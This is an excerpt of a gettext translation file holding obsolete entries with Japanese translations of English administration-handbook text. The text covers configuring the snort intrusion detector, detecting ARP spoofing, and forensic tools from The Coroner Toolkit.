#~ msgid "The snort configuration file (/etc/snort/snort.conf) is very long, and the abundant comments describe each directive with much detail. Getting the most out of it requires reading it in full and adapting it to the local situation. For instance, indicating which machine hosts which service can limit the number of incidents snort will report, since a denial of service attack on a desktop machine is far from being as critical as one on a DNS server. Another interesting directive allows storing the mappings between IP addresses and MAC addresses (these uniquely identify a network card), so as to allow detecting ARP spoofing attacks by which a compromised machine attempts to masquerade as another such as a sensitive server."
#~ msgstr "snort 設定ファイル (/etc/snort/snort.conf) はとても長く、コメントを使ってそれぞれの指示文がとても詳しく説明されています。設定項目を最大限に活用するには、コメントを全部読んで、現場の状態に適用する必要があります。たとえば、マシンとそのマシンがホストするサービスの対応関係を表しておくことにより、snort が報告する事故の数を制限することが可能です。なぜなら、デスクトップマシンへのサービス妨害攻撃は DNS サーバへのサービス妨害攻撃に比べて致命的な問題ではないからです。さらに別の興味深い指示文を使えば、IP アドレスと MAC アドレス (一意的にネットワークカードを識別するもの) 間の対応付けを保存することが可能です。こうすることで、不正侵入されたマシンが他の慎重に扱うべきサーバのような他のマシンになりすますという、ARP spoofing 攻撃を検出することが可能になります。"
#~ msgid "On a small network based around a network hub, there is no such problem, since all machines get all the traffic."
#~ msgstr "ネットワークが 1 台のネットワークハブ近傍に制限されている場合、そのような問題はありません。なぜなら、すべてのマシンはすべてのトラフィックを受け取るからです。"
#~ msgid "The target object was named xconsole."
#~ msgstr "対象のオブジェクトは xconsole と名付けられていました。"
#~ msgid "Some of these operations can be made easier with specialized software. In particular, The Coroner Toolkit (in the tct package) is a collection of such tools. It includes several tools; amongst these, grave-robber can collect data from a running compromised system, lazarus extracts often interesting data from non-allocated regions on disks, and pcat can copy the memory used by a process; other data extraction tools are also included. The Coroner Toolkit"
#~ msgstr "これらの操作は専用ソフトウェアを使うことで簡単に実行することが可能です。特に、The Coroner Toolkit (tct パッケージに含まれます) は専用ソフトウェアツール集です。The Coroner Toolkit にはいくつかのツールが含まれます。そして中でも、起動中の不正侵入されたシステムからデータを収集することが可能な grave-robber、ディスクの未使用領域から興味深いデータを抽出する lazarus、プロセスが使っているメモリの複製を取ることが可能な pcat は注目に値します。他のデータ抽出ツールも含まれています。The Coroner Toolkit"